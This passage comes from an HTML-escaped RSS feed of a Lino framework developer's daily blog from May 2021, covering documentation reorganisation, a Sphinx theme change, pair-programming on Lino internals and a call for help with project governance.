&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.youtube.com/watch?v=UB9Wga-AaHk"&gt;https://www.youtube.com/watch?v=UB9Wga-AaHk&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The FSFE is pleased that the EU Commission’s Open Source Strategy “recognises
the benefits of Free Software and the four freedoms to use, study, share and
improve”, but in the same sentence adds that “the Commission lacks concrete
targets and indicators to implement the strategy.” (&lt;a class="reference external" href="https://fsfe.org/news/2020/news-20201023-01.html"&gt;source&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;EU Commissioner Johannes Hahn published a clear political statement on ‘Public
Money? Public Code!’:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.youtube.com/watch?v=h3SK96jLTSU"&gt;https://www.youtube.com/watch?v=h3SK96jLTSU&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;During the meeting I also wrote the following to the Jitsi chat of the event:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Thanks for this event.
I would like to launch a call for help here.  I enrolled
to this webinar in the hope of finding my future boss. I am currently the CEO of
a family-owned company in Estonia. We work sustainably with a dozen of
customers, two developers and one system administrator. Our biggest customers
are three local public administrations in Belgium. We believe that Lino would be
useful for many other organizations.  We did the legal steps to publish it as
Free Software under the AGPL. But I am a software developer, not a manager.  My
vocation is to write Lino, not to build up a clear governance for its community.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-lino reference external" href="https://www.lino-framework.org/vision.html.html"&gt;https://www.lino-framework.org/vision.html.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-lino reference external" href="https://www.lino-framework.org/framework.html.html"&gt;https://www.lino-framework.org/framework.html.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you feel that you should contact me, please don’t hesitate.
&lt;a class="reference external" href="https://www.saffre-rumma.net/team/luc/"&gt;https://www.saffre-rumma.net/team/luc/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0518.html</guid><pubDate>Tue, 18 May 2021 00:00:00 +0000</pubDate></item><item><title>Monday, May 17, 2021</title><link>https://luc.lino-framework.org/blog/2021/0517.html</link><description>&lt;section id="monday-may-17-2021"&gt;
&lt;h1&gt;Monday, May 17, 2021&lt;a class="headerlink" href="#monday-may-17-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The front page (&lt;a class="reference external" href="https://www.lino-framework.org"&gt;https://www.lino-framework.org&lt;/a&gt;) is now multilingual.&lt;/p&gt;
&lt;p&gt;SR is now also considered part of the Lino documentation framework.
Testing linkable pages &lt;a class="reference external" href="https://www.saffre-rumma.net/team/hamza/#hamza" title="(in Saffre-Rumma)"&gt;&lt;span&gt;Hamza Khchine&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://www.saffre-rumma.net/team/luc/#luc" title="(in Saffre-Rumma)"&gt;&lt;span&gt;Luc Saffre&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I changed the sphinx theme from insipid to pydata. Mostly because insipid had
two disturbing oddities on a mobile phone: the sidebar menu didn’t hide away
after selecting another page from the menu. And in some situations the font
weight of a whole page changed when you first touched it.&lt;/p&gt;
&lt;iframe width="560" height="315"
  src="https://luc.lino-framework.org/blog/2021/insipid-theme-problem-Screenrecorder-2021-05-12-06-48-19-410.mp4"
  frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;Note that when I refer to &lt;a class="reference external" href="https://www.lino-framework.org/framework.html#lf-framework" title="(in Lino framework)"&gt;&lt;span&gt;Lino is a framework&lt;/span&gt;&lt;/a&gt; via intersphinx, I should get
always the English version.&lt;/p&gt;
&lt;p&gt;I did an update of the demos on &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;pull&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;
&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;cosi1e&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;pm&lt;/span&gt; &lt;span class="n"&gt;prep&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;noinput&lt;/span&gt;
&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;noi1r&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;pm&lt;/span&gt; &lt;span class="n"&gt;prep&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;noinput&lt;/span&gt;
&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;voga1e&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;pm&lt;/span&gt; &lt;span class="n"&gt;prep&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;noinput&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt; &lt;span class="n"&gt;restart&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(Before this I removed some unused repositories from the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script,
which was as generated by &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;. But e.g. we don’t need book, welfare
and some other repositories there.)&lt;/p&gt;
&lt;p&gt;Sharif and I had a 2,5 hours extreme programming session where we did an
extensive reorganization of the site_data for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4102"&gt;#4102&lt;/a&gt;. That was fun!&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0517.html</guid><pubDate>Mon, 17 May 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, May 16, 2021</title><link>https://luc.lino-framework.org/blog/2021/0516.html</link><description>&lt;section id="sunday-may-16-2021"&gt;
&lt;h1&gt;Sunday, May 16, 2021&lt;a class="headerlink" href="#sunday-may-16-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;file__thumbnail&lt;/span&gt;&lt;/code&gt; in &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;FileUsage.detail_layout&lt;/span&gt;&lt;/code&gt; doesn’t seem to
work. Why?&lt;/p&gt;
&lt;p&gt;Sharif submitted a solution, and this solution didn’t cause any test cases to
break. But it would have caused a problem with a remote field to a virtual
ForeignKey.  I was afraid that there are uncovered cases where his change would
break things.  So I started to dig into it: &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/specs/general.html#shop-case20210516" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Using remote virtual fields in a detail view&lt;/span&gt;&lt;/a&gt;. Result:
yes, we do have remote fields to virtual ForeignKey fields, but until now we did
never use them in any &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-detail-window" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;detail window&lt;/span&gt;&lt;/a&gt;. And the issue occurred only there.
I verified also for &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; (added a list of all &lt;a class="reference external" href="https://dev.lino-framework.org/dev/remote_fields.html#term-remote-virtual-field" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;remote virtual
fields&lt;/span&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://welfare.lino-framework.org/specs/weleup/eupen.html#welfare-specs-eupen" title="(in Lino Welfare)"&gt;&lt;span&gt;The Lino Welfare “Eupen” variant&lt;/span&gt;&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Minor internal changes:&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.store.StoreField.value2dict()&lt;/span&gt;&lt;/code&gt; now takes the field name as an
argument.  The reason for this is a hack in
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.store.create_atomizer()&lt;/span&gt;&lt;/code&gt; where we create a StoreField instance
based on the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/remote_fields.html#term-leaf-field" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;leaf field&lt;/span&gt;&lt;/a&gt; and then patch some methods of it.  A StoreField
actually doesn’t know its name. (TODO: shouldn’t we remove the &lt;cite&gt;StoreField.name&lt;/cite&gt;
attribute altogether?)&lt;/p&gt;
&lt;p&gt;I wrote a new utility function &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.api.doctest.html#lino.api.doctest.walk_store_fields" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.doctest.walk_store_fields()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I thought “Oops, the actors  &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;users.My&lt;/span&gt;&lt;/code&gt;, &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ledger.ItemsByVoucher&lt;/span&gt;&lt;/code&gt;,
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ledger.ByJournal&lt;/span&gt;&lt;/code&gt;, &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ledger.PrintableByJournal&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;sheets.EntriesByReport&lt;/span&gt;&lt;/code&gt; were not declared as abstract”.&lt;/p&gt;
&lt;p&gt;But that was a pitfall. They don’t need to be explicitly declared abstract
because Lino knows it: They are subclasses of DbTable having their &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;model&lt;/span&gt;&lt;/code&gt;
at &lt;cite&gt;None&lt;/cite&gt;. I had forgotten the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.is_abstract()&lt;/span&gt;&lt;/code&gt; method.  The problem
was that &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.api.doctest.html#lino.api.doctest.walk_store_fields" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.doctest.walk_store_fields()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  filtered on
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.abstract" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.abstract&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; instead of calling &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.is_abstract()&lt;/span&gt;&lt;/code&gt;.
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.diag.html#lino.utils.diag.Analyzer.get_complexity_factors" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.diag.Analyzer.get_complexity_factors()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now uses
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.is_abstract()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0516.html</guid><pubDate>Sun, 16 May 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, May 15, 2021</title><link>https://luc.lino-framework.org/blog/2021/0515.html</link><description>&lt;section id="saturday-may-15-2021"&gt;
&lt;h1&gt;Saturday, May 15, 2021&lt;a class="headerlink" href="#saturday-may-15-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and I had another video brainstorming meeting.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Accept all kinds of media files, not only images.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Selecting a Media file in Uploads.insert should show thumbnails of the images-
Define a custom chooser for FileUsage.file (the FK field pointing to existing
File). Maybe add a new method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.get_text_for_value()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Model.choice_layout = “””name thumbnail”””&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;FileUsage.get_file_display()&lt;/span&gt;&lt;/code&gt; would not be optimal. This feature is
not tested and not used anywhere so far. But it is standard Django behaviour.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Define a &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__str__()&lt;/span&gt;&lt;/code&gt; method for FileUsage (which is used in different places,
e.g. when setting display_mode of UsagesByController to summary.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The buttons to toggle between display modes should have a tooltip.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tooltips (and other texts in the react js code) should be translatable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;file__thumbnail&lt;/span&gt;&lt;/code&gt; in &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;FileUsage.detail_layout&lt;/span&gt;&lt;/code&gt; doesn’t seem to
work. Why?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reactivate &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.use_websockets&lt;/span&gt;&lt;/code&gt; : the basic feature is
that Lino would ask the client’s browser permission for notifications. And
then the user would get notified as a desktop notification. notify with
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_websockets&lt;/span&gt;&lt;/code&gt; is not used anywhere, and would require a revision Note
that the current use_websockets was written before Django 3. See
&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/topics/async/"&gt;https://docs.djangoproject.com/en/6.0/topics/async/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt; unverified users should not have permission
to place an order. But they can collect products into their basket.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.use_verify&lt;/span&gt;&lt;/code&gt; is True and the user is not verified,
then Lino should give a welcome message “You are not yet verified. Check your
inbox. Or click here to re-sent a verification code.”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add phone verification. Testing this requires a SMS sending service.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DONE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Added a new plugin option &lt;cite&gt;notify.mark_seen_when_sent&lt;/cite&gt; When this is True, Lino
now marks notification messages as &lt;cite&gt;seen&lt;/cite&gt; when they have been sent via email.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The default implementation of Actor.get_table_summary() now also uses
Request.plain_toolbar_buttons(). The difference is that if an actor has some
custom action that has show_in_plain = True, this action would also be
rendered now below a summary. The currently only use case of this is the “Mark
all as seen” action of lino.modlib.notify.Message&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;About method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.as_paragraph()&lt;/span&gt;&lt;/code&gt; : this approach has the disadvantage
that HTML is being rendered on the server, not on  the client. More data flow,
and more server resources.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use cases for grid_layout: products&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We added a detail layout to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.albums.FileUsages&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We changed the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on jane:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_plugin_configs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_plugin_configs&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c1"&gt;# example of local plugin settings:&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;users&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;use_verify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;notify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;keep_unseen&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;notify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;remove_after&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="how-to-restore-a-borg-backup-to-my-computer"&gt;
&lt;h2&gt;How to restore a Borg backup to my computer&lt;a class="headerlink" href="#how-to-restore-a-borg-backup-to-my-computer" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0515.html</guid><pubDate>Sat, 15 May 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, May 12, 2021</title><link>https://luc.lino-framework.org/blog/2021/0512.html</link><description>&lt;section id="wednesday-may-12-2021"&gt;
&lt;h1&gt;Wednesday, May 12, 2021&lt;a class="headerlink" href="#wednesday-may-12-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Some revolutions in the docs: the Developer Guide (docs of the book repository)
is now published under a new subdomain &lt;a class="reference external" href="https://dev.lino-framework.org/"&gt;https://dev.lino-framework.org/&lt;/a&gt;, and I
moved the chapters about Lino from the Community Guide (cg) to a new repository
“lf”, which is now served at www.lino-framework.org. Th cg doctree no longer
explains what Lino is (this is now done in lf), it focuses on how to interact
with the Lino community. There are probably still some links that I forgot to
update. Let’s hope that this is yet another step towards better documentation.&lt;/p&gt;
&lt;p&gt;At the moment all these main doctrees (lf, cg, ug, hg and book) happily do
circular references to each other.  My first strategy was to have a strict
hierarchy (lf &amp;lt;– cg &amp;lt;– ug &amp;lt;– hg &amp;lt;– book), but I am not sure whether this is
possible.  And until now it doesn’t disturb very much.  It can happen that you
get warnings about missing references when you do changes in several doctrees at
once. Or I guess that I would have a problem when I have no internet connection
and then say &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pp&lt;/span&gt; &lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;clean&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt;&lt;/code&gt; followed by &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pp&lt;/span&gt; &lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sharif did good work for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4149"&gt;#4149&lt;/a&gt;. This was his first “chirurgical
intervention” in the heart of Lino.  Of course it caused quite some detail
devils and side effects.  We had some fun (re)discovering cool things. And
finally, the new feature is there, and it was needed: the new
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.hide_editing()&lt;/span&gt;&lt;/code&gt; method makes it possible to say that ProductsStaff
can edit products while a normal ProductsUser can’t.&lt;/p&gt;
&lt;p&gt;We also had some dialogue about how to organize the documentation. One
conclusion maybe: we can’t remove all the docstrings in a core module like
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#module-lino.core.actors" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  But the docstrings should be rather short and refer to
a topics page.&lt;/p&gt;
&lt;p&gt;We used this to write documentation about the new &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.hide_editing()&lt;/span&gt;&lt;/code&gt;
method. Also &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.hide_navigator&lt;/span&gt;&lt;/code&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.editable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.editable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.Action.hide_editing()&lt;/span&gt;&lt;/code&gt; is an instance method.&lt;/p&gt;
&lt;p&gt;Today was chaotic: Many changes in different places.  Once more I used &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-ci" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt;
&lt;span class="pre"&gt;ci&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, and the commit messages just refer to this blog page.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0512.html</guid><pubDate>Wed, 12 May 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, May 11, 2021</title><link>https://luc.lino-framework.org/blog/2021/0511.html</link><description>&lt;section id="tuesday-may-11-2021"&gt;
&lt;h1&gt;Tuesday, May 11, 2021&lt;a class="headerlink" href="#tuesday-may-11-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I optimized the docs about copyright on &lt;a class="reference external" href="https://dev.lino-framework.org/contrib/legal.html#lino-contrib-legal" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Legal considerations for contributors&lt;/span&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://www.synodalsoft.net/free/#ss-free" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-ref"&gt;ss.free&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can be really thankful for Sharif.  Thanks to him the &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span class="xref std std-ref"&gt;React&lt;/span&gt;&lt;/a&gt; front end
is again “in good hands” (as Tonis expressed it). During the last weeks Sharif
has gained deep knowledge of the Lino internals, together we have very efficient
extreme programming sessions, he also actively contributes issue reports to the
PrimeReact community. For his reporting  of &lt;a class="reference external" href="https://github.com/primefaces/primereact/issues/2008"&gt;issue 2008&lt;/a&gt; he earned thanks from
&lt;a class="reference external" href="https://github.com/mertsincan"&gt;Mert Sincan&lt;/a&gt; who wrote “Good catch! Thanks a
lot for your report!”. And last but not least, the &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt; project is
advancing.&lt;/p&gt;
&lt;p&gt;I start to imagine that we will soon get yet another doctree. The &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt;
should rather be published under a subdomain like &lt;cite&gt;dev.lino-framework.org&lt;/cite&gt;  and
the main front page at &lt;cite&gt;www.lino-framework.org&lt;/cite&gt; should rather be an independant
doctree that serves as entry point into the other doctrees. It would basically
say what currently is said on &lt;cite&gt;lino.doctrees&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0511.html</guid><pubDate>Tue, 11 May 2021 00:00:00 +0000</pubDate></item><item><title>Monday, May 10, 2021</title><link>https://luc.lino-framework.org/blog/2021/0510.html</link><description>&lt;section id="monday-may-10-2021"&gt;
&lt;h1&gt;Monday, May 10, 2021&lt;a class="headerlink" href="#monday-may-10-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Actor.display_mode&lt;/p&gt;
&lt;p&gt;Action.window_type&lt;/p&gt;
&lt;p&gt;opens_a_window is obsolete. opens_a_window is True when window_type is not
None.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;T data window&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;P dialog window (enter the parameters of an action)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I insert window (a special dialog window of the insert action)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;U unbound window (e.g. the about window) EmptyTable&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For data windows we also have the display modes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;T tabular view (like a spreadsheet)
D detail view (one row at a time)
L list view
C cards view
S summary view
G gallery view
H plain tabular view (not editable, ‘html’)&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;callable_from&lt;/p&gt;
&lt;p&gt;available display modes&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;hide_display_modes&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;= ‘tdlcsgh’
= ‘tlcsgh’&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/section&gt;
